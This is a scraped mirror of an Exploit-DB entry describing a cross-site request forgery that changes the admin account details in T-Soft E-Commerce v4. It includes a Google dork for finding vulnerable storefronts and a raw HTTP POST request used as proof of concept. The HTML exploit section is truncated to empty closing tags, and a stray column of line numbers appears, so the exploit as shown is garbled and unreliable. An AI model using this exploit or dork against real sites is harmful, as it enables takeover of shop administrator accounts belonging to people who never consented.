T-Soft E-Commerce 4 – change ‘admin credentials’ Cross-Site Request Forgery (CSRF) - 体验盒子

作者： Alperen Ergel

日期： 2021-09-20

类别：

webapps

平台：

multiple

来源：https://www.exploit-db.com/exploits/50302/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)

# Exploit Author: Alperen Ergel

# Software Homepage: https://www.tsoft.com.tr/

# Version : v4

# Tested on: Kali Linux (2021.4) / xammp

# Category: WebApp

# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"

# Date: 2021-08-15

######## Description ########

#

# Attacker can change admin informaiton

#

######## Proof of Concept ########

POST /srv/service/admin/updateuserinfo HTTP/1.1

Host: localhost

Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 74

Origin: http://localhost

Referer: http://localhost/Y/

Te: trailers

Connection: close

firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595

####### EXPLOIT ##################

<html>

<body>

</form>

</body>

</html>